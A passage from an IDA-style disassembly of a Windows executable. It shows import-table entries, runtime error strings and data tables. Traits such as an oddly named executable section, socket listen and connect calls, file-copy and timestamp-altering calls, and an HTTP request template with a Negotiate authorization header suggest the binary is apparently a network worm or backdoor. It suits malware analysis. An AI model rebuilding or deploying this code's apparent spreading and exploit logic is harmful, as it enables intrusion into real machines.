eax, offset dword_41FFF8 jmp loc_414257 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_41E56F ; --------------------------------------------------------------------------- loc_41E698: ; DATA XREF: sub_41E211o mov eax, offset dword_420020 jmp loc_414257 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41E56F ; --------------------------------------------------------------------------- loc_41E6AC: ; DATA XREF: sub_41E26Eo mov eax, offset dword_420048 jmp loc_414257 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_403157 ; --------------------------------------------------------------------------- loc_41E6C0: ; DATA XREF: sub_41E2FCo mov eax, offset dword_4200B0 jmp loc_414257 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41E56F ; --------------------------------------------------------------------------- loc_41E6D4: ; DATA XREF: sub_41E356o mov eax, offset dword_4200D8 jmp loc_414257 ; --------------------------------------------------------------------------- align 1000h _text ends ; Section 2. (virtual address 0001F000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 0001F000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute zugr1819 segment para public 'CODE' use32 assume cs:zugr1819 ;org 41F000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing off_41F000 dd offset sub_745C55 ; DATA XREF: sub_4093C1+1CFr ; sub_752957-7C39w ... off_41F004 dd offset sub_74CF77 ; DATA XREF: sub_41DDE5+173r ; sub_74CF82:loc_749385w ... off_41F008 dd offset sub_749FE3 ; DATA XREF: sub_41DB68+3Er ; sub_41DB68+261r ... off_41F00C dd offset sub_752AED ; DATA XREF: sub_41DB68+5Br ; sub_41DB68+B9r ... off_41F010 dd offset sub_74B305 ; DATA XREF: sub_41D663+F9r ; _0z4jwtox:00753721r off_41F014 dd offset sub_745644 ; DATA XREF: sub_41C6BF+2Cr ; _0z4jwtox:00748EA3r ... off_41F018 dd offset sub_745A63 ; DATA XREF: sub_41C591:loc_41C5E1r ; sub_41C608:loc_41C65Br ... off_41F01C dd offset sub_74A7BD ; DATA XREF: sub_41BDE7+8r ; _0z4jwtox:0074DC9Ar off_41F020 dd offset sub_74724C ; DATA XREF: sub_41BDAF+Cr ; _0z4jwtox:0075077Fr ... dword_41F024 dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41BDA2+6r ... dword_41F028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_41B513+12Dr ... off_41F02C dd offset sub_7535E0 ; DATA XREF: sub_41B513+59r ; sub_41B513+8Dr ... dword_41F030 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_41AF6F+166r ... dword_41F034 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_41B235+143r ... dword_41F038 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCount ; sub_746D27+5w ... dword_41F03C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsW ; _0z4jwtox:007482EAr ... off_41F040 dd offset sub_74DBEB ; DATA XREF: sub_401000+AAr ; sub_401447+96r ... dword_41F044 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401447+1A7r ... off_41F048 dd offset sub_74AD4C ; DATA XREF: sub_4010B2+18Cr ; sub_4010B2+2D4r ... off_41F04C dd offset sub_748BA3 ; DATA XREF: sub_4010B2+182r ; sub_4018CB+FFr ... dword_41F050 dd 7C802442h ; resolved to->KERNEL32.Sleep ; .text:0040391Cr ... dword_41F054 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_403C2B+2A8r ... dword_41F058 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_403C2B+49Ar ... dword_41F05C dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_404ECE+1C4r ... dword_41F060 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_406059+58r ... off_41F064 dd offset sub_756F0D ; DATA XREF: sub_404D4C+9Fr ; sub_4093C1+1B6r ... off_41F068 dd offset sub_7459B2 ; DATA XREF: sub_404D4C+8Br ; sub_4093C1+19Fr ... off_41F06C dd offset sub_74D23E ; DATA XREF: sub_404ECE+282r ; sub_406059:loc_406195r ... off_41F070 dd offset sub_74ED5F ; DATA XREF: sub_404ECE+24Dr ; sub_406059+10Er ... off_41F074 dd offset sub_752FBA ; DATA XREF: sub_404ECE+1EEr ; sub_405815+38r ... dword_41F078 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_408701+10Fr ... off_41F07C dd offset sub_748743 ; DATA XREF: sub_40517E+5FDr ; _0z4jwtox:0074D5F9w ... off_41F080 dd offset sub_74D60D ; DATA XREF: sub_40517E+27Br ; _0z4jwtox:00749151r off_41F084 dd offset sub_745D03 ; DATA XREF: sub_40517E+26Dr ; _0z4jwtox:00745814w ... off_41F088 dd offset sub_745828 ; DATA XREF: sub_40517E+20Dr ; sub_40517E+5ECr ... off_41F08C dd offset sub_74962E ; DATA XREF: sub_40517E+1FCr ; _0z4jwtox:0074CFA1w ... off_41F090 dd offset sub_74C51C ; DATA XREF: sub_405815+80r ; sub_408F94+BFr ... off_41F094 dd offset sub_75695A ; DATA XREF: sub_405815+6Cr ; sub_409DBE+259r ... off_41F098 dd offset sub_75312E ; DATA XREF: sub_40656E+13Fr ; _0z4jwtox:0074D3EEw ... off_41F09C dd offset sub_750219 ; DATA XREF: sub_40656E+D4r ; sub_750219+5r ... off_41F0A0 dd offset sub_7561AB ; DATA XREF: sub_406782+77r ; _0z4jwtox:0074B065w ... off_41F0A4 dd offset sub_74B079 ; DATA XREF: sub_406782+6Br ; sub_406782+22Fr ... off_41F0A8 dd offset sub_747AEC ; DATA XREF: sub_4073B6+13Ar ; sub_4073B6:loc_40784Cr ... off_41F0AC dd offset sub_74AAC1 ; DATA XREF: sub_4073B6+11r ; sub_417D6B+15r ... dword_41F0B0 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_408701+FBr ... off_41F0B4 dd offset sub_750705 ; DATA XREF: sub_4084F4+2Dr ; sub_750715-841w ... off_41F0B8 dd offset sub_756AA2 ; DATA XREF: sub_40857E+26r ; _0z4jwtox:007504DDw ... off_41F0BC dd offset sub_7504F1 ; DATA XREF: sub_40857E+1Dr ; _0z4jwtox:0074D617r ... off_41F0C0 dd offset sub_7569C5 ; DATA XREF: sub_4085B9+69r ; sub_746DD8-1BA0w ... off_41F0C4 dd offset sub_7528EA ; DATA XREF: sub_4085B9+36r ; _0z4jwtox:00745258w ... off_41F0C8 dd offset sub_74623E ; DATA XREF: sub_4085B9+25r ; sub_74623E+5r ... dword_41F0CC dd 7C831CB8h ; resolved to->KERNEL32.SetFileTime ; _0z4jwtox:0074F29Fr ... dword_41F0D0 dd 7C831C45h ; resolved to->KERNEL32.GetFileTime ; _0z4jwtox:007461D5r ... dword_41F0D4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_408889+B4r ... off_41F0D8 dd offset sub_752B0C ; DATA XREF: sub_408701+15Dr ; sub_7465EE+9r ... dword_41F0DC dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_40C2D0+1C2r ... off_41F0E0 dd offset sub_745425 ; DATA XREF: sub_408701+35r ; sub_40CC09+391Br ... off_41F0E4 dd offset sub_74B01A ; DATA XREF: sub_408F94+5Ar ; sub_748CFC+4w ... off_41F0E8 dd offset sub_756327 ; DATA XREF: sub_408F94+3Dr ; _0z4jwtox:00751382r off_41F0EC dd offset sub_74A7D8 ; DATA XREF: sub_4090ED+91r ; sub_74C39F+9r ... off_41F0F0 dd offset sub_752C39 ; DATA XREF: sub_4090ED+79r ; sub_41234D+Cr ... off_41F0F4 dd offset sub_757191 ; DATA XREF: sub_4090ED+3Br ; _0z4jwtox:0074A536w ... off_41F0F8 dd offset sub_74A54A ; DATA XREF: sub_4093C1+24r ; .text:0041292Br ... dword_41F0FC dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_40A160+3Ar ... off_41F100 dd offset sub_746C5E ; DATA XREF: sub_409833+Dr ; sub_414D55+Dr off_41F104 dd offset sub_748C98 ; DATA XREF: sub_40A3AD+4C0r ; sub_40ACAF+DFr ... off_41F108 dd offset sub_74AC58 ; DATA XREF: sub_40ADCF+2B3r ; sub_74AC58+5r ... dword_41F10C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_419FC4+20Dr ... dword_41F110 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_414A03+54r ... off_41F114 dd offset sub_750B5C ; DATA XREF: sub_40C212+34r ; .text:00412820r ... off_41F118 dd offset sub_75675B ; DATA XREF: sub_40C2D0+348r ; sub_40CC09+4286r ... dword_41F11C dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_4123B8+B9r ... dword_41F120 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessId ; sub_745978+9r dword_41F124 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; _0z4jwtox:0074868Br ... dword_41F128 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40C2D0+31Er ... dword_41F12C dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexA ; _0z4jwtox:0074DDCFw ... off_41F130 dd offset sub_74D21E ; DATA XREF: sub_40CC09+44DCr ; sub_4133F9+2Br ... off_41F134 dd offset sub_75038B ; DATA XREF: sub_40CC09+37E5r ; _0z4jwtox:00750306w ... off_41F138 dd offset sub_74946E ; DATA XREF: sub_4123B8+113r ; sub_4123B8+21Br ... off_41F13C dd offset sub_752DB5 ; DATA XREF: sub_4123B8+DEr ; sub_752DB5+5r off_41F140 dd offset sub_749010 ; DATA XREF: .text:004128B7r ; sub_7490FC+9r ... dword_41F144 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_4157BF+AFr ... dword_41F148 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_4169A4+2C4r ... off_41F14C dd offset sub_74CF0C ; DATA XREF: sub_41E42Er ; sub_754A60:loc_7542BFw ... off_41F150 dd offset sub_7458BE ; DATA XREF: sub_414D55+6Cr ; sub_41BFB2+38r ... off_41F154 dd offset sub_74E762 ; DATA XREF: sub_414D55+17r off_41F158 dd offset sub_747C0C ; DATA XREF: sub_4157BF+F0r ; sub_416FD8+28r ... off_41F15C dd offset sub_75247E ; DATA XREF: .text:00415EB0r ; sub_41AF6F+59r off_41F160 dd offset sub_756496 ; DATA XREF: .text:00415E85r dword_41F164 dd 7C8111DAh ; resolved to->KERNEL32.GetVersion ; sub_74F660+4w ... off_41F168 dd offset sub_74F678 ; DATA XREF: sub_4168FF+2Fr ; sub_74F678+5r dword_41F16C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreate ; _0z4jwtox:007480AFr ... off_41F170 dd offset sub_7451EF ; DATA XREF: sub_4169A4+23Fr ; sub_7491FD+23E0w ... dword_41F174 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_417089+51r ... off_41F178 dd offset sub_74727B ; DATA XREF: sub_41BDCB+Cr ; sub_74727B+5r ... off_41F17C dd offset sub_7476F4 ; DATA XREF: sub_417565+215r ; sub_41E5C3+2Er ... off_41F180 dd offset sub_750286 ; DATA XREF: sub_418AC8+21r ; sub_750286+5r ... off_41F184 dd offset sub_7485D5 ; DATA XREF: sub_419FC4+5Er ; sub_419FC4+A7r ... dword_41F188 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_419FC4+14Dr ... dword_41F18C dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_41A452+14r ... dword_41F190 dd 7C809915h ; resolved to->KERNEL32.GetACP ; _0z4jwtox:0074B3DBr ... off_41F194 dd offset loc_75621B ; DATA XREF: sub_41A3AC+1Ar ; sub_41A3AC+33BE74r ... off_41F198 dd offset sub_7497C9 ; DATA XREF: sub_41A95B+138r ; _0z4jwtox:0074977Fr ... off_41F19C dd offset sub_74BD16 ; DATA XREF: sub_41AE3D+11Fr ; sub_74BD16+5r ... dword_41F1A0 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW ; _0z4jwtox:007493F8r ... off_41F1A4 dd offset sub_74952C ; DATA XREF: sub_41AE3D:loc_41AE6Cr ; sub_41AE3D+E1r ... dd 0 dword_41F1AC dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_404857+8Er dword_41F1B0 dd 71AB3E00h ; resolved to->WS2_32.binddword_41F1B4 dd 71AB88D3h ; resolved to->WS2_32.listendword_41F1B8 dd 71AC1028h ; resolved to->WS2_32.acceptdword_41F1BC dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_4041D7+47r ... dword_41F1C0 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_4047DA+35r dword_41F1C4 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4039C9+35r ... dword_41F1C8 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_4041D7+8Dr dword_41F1CC dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4039C9+6Dr ... dword_41F1D0 dd 71AB428Ah ; resolved to->WS2_32.send ; .text:0040362Cr ... dword_41F1D4 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_4041D7+115r dword_41F1D8 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_41F1DC dd 71AB3B91h ; resolved to->WS2_32.socket ; .text:004035A9r ... dword_41F1E0 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_41F1E4 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4039C9+5Cr ... dword_41F1E8 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_4039C9+EEr ... align 10h aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402E8D+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_41F230 dq 1.388888888888889e-2 ; DATA XREF: sub_402C9F+2Fr dbl_41F238 dq 1.666666666666667e-1 ; DATA XREF: sub_402C9F+15r dword_41F240 dd 0FFFFFFFFh ; sub_40315Fr ... align 8 dbl_41F248 dq 1.333333333333333 ; DATA XREF: sub_402CEB+79r dword_41F250 dd 0 ; sub_40320F+5Bo ... dword_41F254 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dd 0 dbl_41F658 dq 9.765625e-4 ; DATA XREF: sub_40A3AD+2F0r ; sub_40A3AD+30Br ... dbl_41F660 dq -3.0517578125e-5 ; DATA XREF: sub_41271C+1Er dbl_41F668 dq 1.0 ; DATA XREF: sub_413FAE+6Cr ; sub_4140F7+6Cr ... dword_41F670 dd 0FFFFFFFFh, 415EE8h, 415EFChbyte_41F67C db 6 ; DATA XREF: sub_416065:loc_4160BCr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 off_41F6D8 dd offset dword_6E0028 ; DATA XREF: .data:off_4377ACo dd offset byte_6C0075 unicode 0, <l)>,0 align 4 aNull db '(null)',0 ; DATA XREF: .data:off_4377A8o align 10h dd offset byte_6E795F dd 31795Fh, 30795Fh, 78657266h, 70h, 646F6D66h, 0 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 dd offset dword_6E6174 dd offset byte_736F63 dd offset byte_6E6973 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 dd offset dword_676F6C dd offset dword_776F70 off_41F7A0 dd offset byte_707865 ; DATA XREF: .data:off_4379D4o align 8 dbl_41F7A8 dq 0.0 ; DATA XREF: sub_417818+8Cr ; sub_417818+ACr ... dbl_41F7B0 dq 4.195835e6 ; DATA XREF: sub_417D2D+Fr dbl_41F7B8 dq 3.145727e6 ; DATA XREF: sub_417D2D+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_417D6B+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_417D6Bo align 4 aE000 db 'e+000',0 ; DATA XREF: sub_417E92+93o align 10h dword_41F7F0 dd 0FFFFFFFFh, 41857Dh, 418587h, 0dword_41F800 dd 0FFFFFFFFh, 0 dd offset loc_418703 align 10h dd offset sub_4186E1 dd offset sub_4186EB dword_41F818 dd 0FFFFFFFFh, 418933h, 418937h, 0dword_41F828 dd 0FFFFFFFFh, 418995h, 41899Eh, 0dword_41F838 dd 0FFFFFFFFh, 0 dd offset loc_418A6D align 8 dd offset loc_418A59 dd offset loc_418A5D dword_41F850 dd 0FFFFFFFFh, 0; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 8Ah, 41h, 0 align 10h dd offset loc_418AAF dd offset loc_418AB3 dword_41F868 dd 2 dup(0) ; sub_41B513+39o ... dword_41F870 dd 0FFFFFFFFh, 41A0D4h, 41A0D8h, 0FFFFFFFFh, 41A188h, 41A18Ch ; DATA XREF: sub_419FC4+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_437E1Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41B235+119o align 4 asc_41FB38 db 0Ah ; DATA XREF: sub_41B235+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41B235+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41B235+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41B235+7Do align 8 dword_41FB78 dd 0FFFFFFFFh, 41B60Ch, 41B610haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_41BFB2+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41CA11+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41CA11+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41CA11+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41D1E1:loc_41D2D6o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_41D1E1+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_41D1E1+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_41D1E1+ADo align 4 dword_41FC18 dd 0FFFFFFFFh, 41DD1Fh, 41DD23h, 0FFFFFFFFh, 41DD8Eh, 41DD92h ; DATA XREF: sub_41DB68+5o dd 41FD38h off_41FC34 dd offset loc_41E2C8 ; DATA XREF: sub_41E0D0+4Do ; sub_41E2E4+Co dd offset sub_41E18E dd offset sub_41E2AB aStringTooLong db 'string too long',0 ; DATA XREF: sub_41E0D0+1Eo dd offset dword_41FD70 off_41FC54 dd offset loc_41E1F5 ; DATA XREF: sub_41E12A+4Eo ; sub_41E1B8+11o ... dd offset sub_41E18E dd offset sub_41E19B dd offset dword_41FDC0 off_41FC64 dd offset loc_41E3B0 ; DATA XREF: sub_41E2FC+4Do ; sub_41E3CC+Co dd offset sub_41E18E dd offset sub_41E393 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41E2FC+1Eo dd offset dword_41FDF0 off_41FC8C dd offset sub_41E4CC ; DATA XREF: sub_41E4E8+8o ; sub_41E525+8o ... dd offset sub_41E585 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_41E585+7o align 4 dd offset dword_41FE38 off_41FCAC dd offset loc_41E5A7 ; DATA XREF: sub_41E592o ; .data:off_438540o ... dword_41FCB0 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_41FCD0 dd offset off_438540 ; DATA XREF: zugr1819:0041FD20o ; zugr1819:0041FD54o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_41FCE8 dd offset off_438558 ; DATA XREF: zugr1819:0041FD1Co ; zugr1819:0041FD50o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_41FD00 dd offset off_438578 ; DATA XREF: zugr1819:0041FD18o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41FD00 dd offset off_41FCE8 dd offset off_41FCD0 dd 0 db 0 ; DATA XREF: zugr1819:0041FD48o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 41FD18h, 3 dup(0) dd offset off_438578 dd offset unk_41FD28 align 10h dd offset off_41FCE8 dd offset off_41FCD0 dword_41FD58 dd 4 dup(0) dd 2, 41FD50h dword_41FD70 dd 3 dup(0) dd offset off_438558 dd offset dword_41FD58+8 align 8 off_41FD88 dd offset off_438598 ; DATA XREF: zugr1819:0041FDA0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41FD88 dd offset off_41FCE8 dd offset off_41FCD0 dword_41FDAC dd 3 dup(0) dd 3, 41FDA0h dword_41FDC0 dd 3 dup(0) dd offset off_438598 dd offset dword_41FDAC+4 dd offset off_41FCD0 dword_41FDD8 dd 4 dup(0) dd 1, 41FDD4h dword_41FDF0 dd 3 dup(0) dd offset off_438540 dd offset dword_41FDD8+8 align 8 off_41FE08 dd offset off_4385C0 ; DATA XREF: zugr1819:0041FE20o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_41FE08 dd 0 db 0 ; DATA XREF: zugr1819:0041FE48o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 41FE20h dword_41FE38 dd 3 dup(0) dd offset off_4385C0 dd offset unk_41FE28 align 10h dword_41FE50 dd 19930520h, 2, 41FE70h, 5 dup(0) dd 0FFFFFFFFh, 41E608h, 0 dd offset sub_41E600 dword_41FE80 dd 19930520h, 2, 41FEA0h, 5 dup(0) dd 0FFFFFFFFh, 41E62Ch, 0 dd offset loc_41E634 dword_41FEB0 dd 19930520h, 2, 41FED0h, 1, 41FEE0h, 3 dup(0) ; DATA XREF: .text:loc_41E648o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 41FEF8h, 4 dup(0) dd offset loc_403479 dd 0 dd offset off_438540 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 41E525h, 2 dup(0) dd offset off_438558 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41E211h, 2 dup(0) dd offset off_438578 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41E2E4h, 0 dword_41FF68 dd 3, 41FF48h, 41FF28h, 41FF08hdword_41FF78 dd 0 ; sub_41E2AB+12o dd offset sub_41E26E dd 0 dd offset dword_41FF68 